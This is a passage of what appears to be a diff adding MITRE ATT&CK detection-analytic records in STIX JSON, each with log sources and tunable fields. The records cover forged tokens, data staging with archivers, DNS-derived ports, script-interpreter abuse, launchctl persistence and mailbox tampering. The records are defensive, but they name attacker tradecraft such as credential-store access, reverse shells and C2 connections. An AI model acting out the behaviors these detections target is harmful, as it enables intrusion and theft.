Correlated with anomalous web session usage from Safari or Chrome processes outside typical user context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "Access to Keychain items or browser credential stores" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "macos:unifiedlog", + "channel": "Web sessions initiated with newly forged tokens" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedKeychainApps", + "description": "List applications that normally request Keychain credentials." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--75d43d9f-7b54-4cd4-a6d9-523f8f9a60ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0722", + "external_id": "AN0722" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0722", + "description": "SaaS platforms may show forged credentials as unusual API keys, tokens, or session cookies being used without corresponding authentication. Correlated patterns include simultaneous valid sessions from multiple geographies, unusual API calls with new tokens, or bypass of expected MFA enforcement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "name": "m365:unified", + "channel": "Session creation without MFA or login event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "saas:auth", + "channel": "API requests made with tokens not associated with expected user logins" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoLocationAlerts", + "description": "Trigger on logins from unusual or high-risk geographies." + }, + { + "field": "TokenReplayThreshold", + "description": "Detect multiple simultaneous uses of the same forged credential." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9735a0b1-df29-49fe-b0f7-973c0b513e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0723", + "external_id": "AN0723" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0723", + "description": "Forged web credentials in Office Suite contexts may appear as abnormal authentication headers in Outlook or Teams traffic, or unexplained OAuth grants in M365/Azure logs. Defenders should correlate token usage events with missing authentication flows and mismatched device/user context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "name": "m365:oauth", + "channel": "OAuth grants or tokens issued without expected user consent" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:signin", + "channel": "Token usage events with device/user mismatch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OAuthAppAllowlist", + "description": "Approved OAuth apps and flows; flag unapproved or unexpected token grants." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--561fb700-686a-4583-96a9-77a55358d357", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0261#AN0724", + "external_id": "AN0724" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0724", + "description": "Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingDirList", + "description": "Paths such as C:\\Temp, C:\\Windows\\Tasks, etc." + }, + { + "field": "ArchivingToolPatterns", + "description": "Matches to 7z.exe, rar.exe, zip.exe, or custom scripts." + }, + { + "field": "TimeWindow", + "description": "How long to correlate file reads followed by compression." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5e7b8a9-72f6-40db-be4a-ec17386d884f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0261#AN0725", + "external_id": "AN0725" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0725", + "description": "Detects aggregation of files from different directories into /tmp, /mnt, or user-specified directories with archiving tools like tar or gzip.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingDirs", + "description": "e.g., /tmp, /var/tmp, custom user dirs" + }, + { + "field": "ArchiveUtilities", + "description": "tar, gzip, zip, 7z" + }, + { + "field": "UserThreshold", + "description": "Number of files or size written in short time" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01a3cc24-df78-4ff7-8a25-67545d830229", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0261#AN0726", + "external_id": "AN0726" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0726", + "description": "Detects staged data aggregated in /Users/Shared, /private/tmp with compression tools like ditto or zip, initiated via Terminal or AppleScript.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingTargets", + "description": "Shared dirs commonly abused for local collection" + }, + { + "field": "CompressionBinaries", + "description": "zip, tar, ditto" + }, + { + "field": "TimeWindow", + "description": "Seconds/minutes between source file read and output staging write" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--27caeb90-1cf0-4650-a3f3-c8a1edaecbab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0261#AN0727", + "external_id": "AN0727" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0727", + "description": "Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", + "name": "esxi:vmkernel", + "channel": "snapshot create/write events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "CLI usage logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SnapshotThreshold", + "description": "Rapid creation or deletion of snapshots" + }, + { + "field": "CLIInvoker", + "description": "Unexpected CLI/script invocation outside maintenance windows" + }, + { + "field": "VMFSWriteRate", + "description": "Volume of data written locally in short time" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f47f256d-686f-4553-85e2-bd4d156da1e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0262#AN0728", + "external_id": "AN0728" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0728", + "description": "Monitor DNS query results where subsequent connections use derived or unusual port numbers not explicitly resolved, especially when tied to suspicious processes. Correlate Sysmon DNS logs (Event ID 22) with process creation and socket activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortDeviationThreshold", + "description": "Deviation from common service ports (e.g., >1024 when DNS resolved service expects 80/443)" + }, + { + "field": "TimeWindow", + "description": "Correlation window between DNS response and network connection (e.g., 5 minutes)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98f5c157-17c8-4ab8-943d-8d4c54dc3d6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0262#AN0729", + "external_id": "AN0729" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0729", + "description": "Inspect resolver and audit logs for processes initiating outbound connections to ports calculated from DNS response IPs. Abnormal ephemeral port usage shortly after DNS queries can indicate DNS calculation behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "DNS response IPs followed by connections to non-standard calculated ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EphemeralPortRange", + "description": "Configured ephemeral port ranges per environment to reduce false positives" + }, + { + "field": "ResolverWhitelist", + "description": "Exclude trusted resolvers or internal services from analysis" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e95ed4e2-d6bc-4a6f-acbc-bdbfcbaca158", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0262#AN0730", + "external_id": "AN0730" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0730", + "description": "Use unified logs to detect unusual DNS responses correlated with subsequent connections to calculated or non-standard ports. Monitor non-browser apps making repeated outbound connections that deviate from expected patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "DNS responses followed by connections to ports outside standard ranges" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected processes making network calls based on DNS-derived ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessAllowlist", + "description": "Expected processes allowed to open non-standard ports (e.g., developer tools)" + }, + { + "field": "ConnectionVolumeThreshold", + "description": "Volume of unusual connections needed before flagging as suspicious" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18c20664-b820-4a14-a7bf-5a75ac2fae92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0262#AN0731", + "external_id": "AN0731" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0731", + "description": "Analyze ESXi syslogs for management agents or VMs making outbound connections to dynamically calculated ports derived from DNS responses. Cross-check with VM traffic baselines to identify anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:syslog", + "channel": "DNS resolution events leading to outbound traffic on unexpected ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ManagementPlaneIPs", + "description": "Known trusted ESXi management plane IPs to exclude from alerts" + }, + { + "field": "DomainReputationFeed", + "description": "Integrate external feeds for reputation context on DNS-derived domains" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0aa20e10-ec46-4acf-810e-e8ed038d7744", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0263#AN0732", + "external_id": "AN0732" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0732", + "description": "Anomalous or bulk download activity from private or restricted repositories by non-developer or privileged accounts, often preceded by unusual login behavior (e.g., unfamiliar geo, OAuth token use, elevated API rate).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "saas:github", + "channel": "repo.download, repo.clone, oauth.authorize, repo.getContent" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:github", + "channel": "Login from unusual IP, device fingerprint, or location; access token creation from new client" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:github", + "channel": "Bulk access to multiple files or large volume of repo requests within short time window" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Threshold for file access volume over short duration (e.g., 10+ repos accessed in <5 min)" + }, + { + "field": "UserContext", + "description": "Role or permission profile expected to interact with repositories (e.g., developers vs. admins)" + }, + { + "field": "GeoAnomalyThreshold", + "description": "Distance or variance allowed before a login is flagged as anomalous" + }, + { + "field": "RepoSensitivityTag", + "description": "Whether a repository is labeled sensitive or restricted" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f257014-01d4-487d-980c-77d4d2130315", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0264#AN0733", + "external_id": "AN0733" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0733", + "description": "Detects JavaScript execution through WSH (wscript.exe, cscript.exe) or HTA (mshta.exe), particularly when spawned from Office macros, web browsers, or abnormal user paths. Correlates script execution with outbound network activity or system modification.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "m365:defender", + "channel": "ScriptBlockLogging + AMSI" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Execution of wscript.exe, cscript.exe, or mshta.exe from suspicious parent like Excel or Outlook." + }, + { + "field": "ScriptPath", + "description": "Script loaded from %TEMP%, user download folder, or via UNC/web path." + }, + { + "field": "TimeWindow", + "description": "Execution of JavaScript during non-business or patch windows." + }, + { + "field": "UserContext", + "description": "Execution by accounts not typically authorized for scripting (e.g., non-admin users)." + }, + { + "field": "EntropyScore", + "description": "Obfuscated JS with high entropy detected by AMSI or ScriptBlock logging." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--af3dff40-40be-40dd-9a0e-a47cf052880b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0264#AN0734", + "external_id": "AN0734" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0734", + "description": "Detects JavaScript for Automation (JXA) via osascript or compiled scripts using OSAKit APIs. Flags execution involving system modification, inter-process scripting, or browser abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "log stream with predicate 'eventMessage CONTAINS \"osascript\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:syslog", + "channel": "/var/log/system.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptLocation", + "description": "Execution of JXA from user-controlled paths like ~/Downloads or /Volumes." + }, + { + "field": "ParentProcess", + "description": "osascript invoked by third-party apps (VSCode, browsers, etc.)." + }, + { + "field": "APIInvocation", + "description": "Use of OSAKit API by apps not typically scripting-enabled." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--26520d1c-1e0a-443b-817e-7ec1846a0476", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0264#AN0735", + "external_id": "AN0735" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0735", + "description": "Detects Node.js or JavaScript interpreter execution from web shells, cron jobs, or local users. Correlates execution with reverse shell behavior, file modifications, or abnormal outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "linux:syslog", + "channel": "/var/log/syslog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptPath", + "description": "Script launched from /tmp, /var/tmp, or hidden dot directories." + }, + { + "field": "BinaryName", + "description": "Custom compiled JS binaries like node_shell or interpreter disguises." + }, + { + "field": "UserExecutionContext", + "description": "Execution by service accounts or low-privilege users running cron scripts." + }, + { + "field": "NetworkFollowUp", + "description": "Connection attempts to C2 post-node.js execution." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0297fd45-97bc-4913-8d38-218eae431544", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0265#AN0736", + "external_id": "AN0736" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0736", + "description": "Abuse of launchctl to execute or manage Launch Agents and Daemons. Defender perspective: correlation of suspicious plist file creation or modification in LaunchAgents/LaunchDaemons directories with subsequent execution of the launchctl command. Abnormal executable paths (e.g., /tmp, /Shared) or launchctl activity followed by network connections are highly suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "execution of launchctl load/unload/start commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchctl spawning new processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "macos:unifiedlog", + "channel": "creation or loading of new launchd services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Paths to monitor for suspicious plist files, such as /Library/LaunchAgents, /Library/LaunchDaemons, ~/Library/LaunchAgents." + }, + { + "field": "SuspiciousExecPaths", + "description": "Uncommon executable paths (e.g., /tmp, /Shared) that should raise alerts when associated with launchctl services." + }, + { + "field": "TimeWindow", + "description": "Correlation window for detecting plist file creation and subsequent launchctl execution." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ddbf61e2-7dad-40ef-90ef-7bec707b50fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0266#AN0737", + "external_id": "AN0737" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0737", + "description": "Detects mailbox manipulation or deletion via PowerShell (e.g., Remove-MailboxExportRequest), file deletion from Outlook data stores (Unistore.db), or tampering with quarantined mail logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": 